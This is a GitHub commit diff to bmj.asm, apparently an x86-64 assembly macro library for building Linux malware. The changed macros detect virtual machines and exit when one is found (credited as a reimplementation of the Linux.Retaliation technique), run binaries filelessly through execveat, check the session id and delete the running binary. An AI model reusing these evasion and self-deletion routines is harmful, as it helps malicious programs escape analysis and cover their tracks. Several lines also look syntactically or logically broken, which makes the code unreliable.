Skip to content

Commit 34e4793

Browse files
author
Wintrmvte
committed
Minor fixes
1 parent 5601888 commit 34e4793

File tree

1 file changed

+31
-16
lines changed

1 file changed

+31
-16
lines changed

bmj.asm

Lines changed: 31 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -336,8 +336,8 @@
336336
;
337337
; Converts an IP address in 'source_ip' register (RAX by default) to hexadecimal
338338
; Returns -i in RAX if errors occurred
339-
%macro ip2hex 1
340-
push rax
339+
%macro ip2hex 0-1 rax
340+
push %1
341341
pop rsi
342342
strlen
343343
push rax
@@ -363,7 +363,7 @@
363363
push "."
364364
pop al
365365
cld
366-
repne scasb
366+
repne scasb
367367
push rcx
368368
pop rbx
369369
neg rbx
@@ -531,7 +531,7 @@
531531
; Default trigger for positive detection is 2 cores (or less)
532532
; Returns 1 in RAX if VM was detected; 0 otherwise
533533
;%macro vm_cpu 0-1 2
534-
; run ""
534+
; run " "
535535
; file_open ".numcpu"
536536
; push rax
537537
; pop rdi
@@ -554,21 +554,23 @@
554554
;
555555
; My implementation of @elfmaster's VM detection as seen in Linux.Retaliation
556556
; Checks for abnormally small interval between current Epoch stamp
557-
; and 'stx_btime' field of a file created when the host was set up
557+
; and 'st_btime' field of a file created when the host was set up
558558
; Such approach might trigger false positives if tested file was modified after the OS deployment
559-
%macro vm_age 0-1 "/etc/hostname"
560-
save_regs r9, r10
561-
push SYS_STATX
559+
%macro vm_age 0-3 1,HOURS,"/etc/hostname"
560+
push 332
562561
pop rax
563562
xor rdi, rdi
564563
init_string rsi, %1
565564
reserve_stack_bytes_rel STATX_size, r8
566565
syscall
567-
mov r9, [r8+STATX.stx_btime_seconds]
566+
mov r9, [r8+STATX.st_btime]
568567
time_get
569568
sub rcx, r8
570569
interval_to_seconds r10,%2,%3
571-
restore_regs r9, r10
570+
cmp rcx, r10
571+
jle %%cont
572+
exit 0
573+
%%cont:
572574
%endmacro
573575

574576
; Args -> None
@@ -594,6 +596,19 @@
594596

595597
; ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ [ = 0x04 = ] ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
596598

599+
; Args -> [destination] (register), multiplier (int), interval (unit)
600+
;
601+
; Converts a given interval to seconds and stores it
602+
%macro interval_to_seconds 0-3 rcx,1,HOURS
603+
push %2
604+
pop rax
605+
push %3
606+
pop rdx
607+
mul rdx
608+
push rax
609+
pop %1 ; Seconds are returned in the destination register
610+
%endmacro
611+
597612
; Args -> syscall_number (int)
598613
;
599614
; Initiate the RAX register with system call number specified in %1 using non-standard instruction set
@@ -621,7 +636,7 @@
621636
; 0 if number of seconds equals the specified time unit
622637
; -1 if seconds < (multiplier*interval)
623638
; 1 if seconds > (multiplier*interval)
624-
%macro time_compare
639+
%macro time_compare 3
625640
save_regs r8
626641
%%init_seconds_in_r8:
627642
interval_to_seconds r8,%2,%3
@@ -802,7 +817,7 @@
802817
pop rax
803818
syscall
804819
cmp rax, 1
805-
je %sid_already_set
820+
je %%sid_already_set
806821
exit 0
807822
%%sid_already_set:
808823
%endmacro
@@ -1605,7 +1620,7 @@
16051620
xor r10, r10
16061621
push SYS_EXECVEAT
16071622
pop rax
1608-
push ""
1623+
push " "
16091624
pop rsi
16101625
push AT_EMPTY_PATH
16111626
pop r8
@@ -1777,13 +1792,13 @@ phdrsize equ $ - phdr
17771792
; The only argument is optional and should be a register
17781793
; It has to contain the name of the binary
17791794
; This macro can be invoked without any arguments - it will load *argv0 from [rsp+8] address
1780-
%macro remove_self 0-1 0xffffffff
1795+
%macro remove_self 0-1 TRUE
17811796
push SYS_OPEN
17821797
pop rax
17831798
push %1
17841799
pop r13
1785-
cmp r13, 0xffffffff
1786-
je %%load_argv0_from_stack:
1800+
cmp r13, TRUE
1801+
je %%load_argv0_from_stack
17871802
push %1
17881803
pop rdi
17891804
jmp %%read

0 commit comments

Comments
 (0)